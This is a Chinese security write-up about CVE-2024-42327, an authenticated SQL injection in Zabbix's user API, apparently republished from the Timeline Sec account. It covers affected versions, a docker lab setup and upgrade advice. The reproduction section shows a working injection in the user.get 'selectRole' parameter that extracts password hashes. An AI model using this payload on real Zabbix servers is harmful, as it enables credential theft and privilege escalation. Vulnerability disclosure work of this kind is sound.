首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2024-42327:Zabbix认证后SQL注入漏洞

CVE-2024-42327:Zabbix认证后SQL注入漏洞

作者头像
Timeline Sec
发布2025-01-22 08:23:59
发布2025-01-22 08:23:59
8290
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

0x02 漏洞概述

漏洞编号:CVE-2024-42327

Zabbix的addRelatedObjects 函数中的 CUser 类中存在 SQL注入漏洞,该函数是从 CUser.get 函数调用,具有 API 访问权限的用户都可以利用,进而实现权限提升或访问敏感信息。

0x03 影响版本

6.0.0 <= Zabbix <= 6.0.31

6.4.0 <= Zabbix <= 6.4.16

Zabbix = 7.0.0

0x04 环境搭建

https://www.zabbix.com/documentation/current/en/manual/installation/containers

使用docker进行搭建,拉取镜像,这里选用的版本为6.4.16

创建专用于 Zabbix 组件容器的网络

代码语言:javascript
复制
docker network create zabbix_net

启动Zabbix数据库容器

代码语言:javascript
复制
docker run --name mysql-server -t -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" --network=zabbix_net --restart unless-stopped -d mysql:8.0 --character-set-server=utf8 --collation-server=utf8_bin --default-authentication-plugin=mysql_native_password

启动Zabbix Java网关

代码语言:javascript
复制
docker run --name zabbix-java-gateway -t --network=zabbix_net --restart unless-stopped -d zabbix/zabbix-java-gateway:alpine-6.4.16

启动Zabbix服务器容器

代码语言:javascript
复制
docker run --name zabbix-server-mysql -t -e DB_SERVER_HOST="mysql-server" -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" -e ZBX_JAVAGATEWAY="zabbix-java-gateway" --network=zabbix_net -p 10051:10051 --restart unless-stopped -d zabbix/zabbix-server-mysql:alpine-6.4.16

启动Zabbix Web容器

代码语言:javascript
复制
docker run --name zabbix-web-nginx-mysql -t -e ZBX_SERVER_HOST="zabbix-server-mysql" -e DB_SERVER_HOST="mysql-server" -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" --network=zabbix_net -p 80:8080 --restart unless-stopped -d zabbix/zabbix-web-nginx-mysql:alpine-6.4.16

搭建完成后访问http://IP/index.php,使用默认用户名密码登录Admin/zabbix

0x05 漏洞复现

对api_jsonrpc.php进行POST请求,根据用户名密码构建json数据,获取对应的值

代码语言:javascript
复制
POST /api_jsonrpc.php HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 107

{"jsonrpc": "2.0", "method": "user.login", "params":{"username": "Admin", "password": "zabbix"}, "id": 1}

将得到的值写入新的json对象中,获取password

代码语言:javascript
复制
POST /api_jsonrpc.php HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 169

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "78c2bc1dbc4649797201a67729684b38", "id": 1}

Zabbix 使用的是 BCrypt 加密算法来加密用户密码,这是一种单向散列函数,即使是同样的明文,经加密后也会得到不同的值,所以无法进行解密 0x06 修复方式

目前官方已发布新版本修复该漏洞,建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本

官网地址:https://www.zabbix.com/download

参考链接

https://support.zabbix.com/browse/ZBX-25623

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • Zabbix 使用的是 BCrypt 加密算法来加密用户密码,这是一种单向散列函数,即使是同样的明文,经加密后也会得到不同的值,所以无法进行解密 0x06 修复方式
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档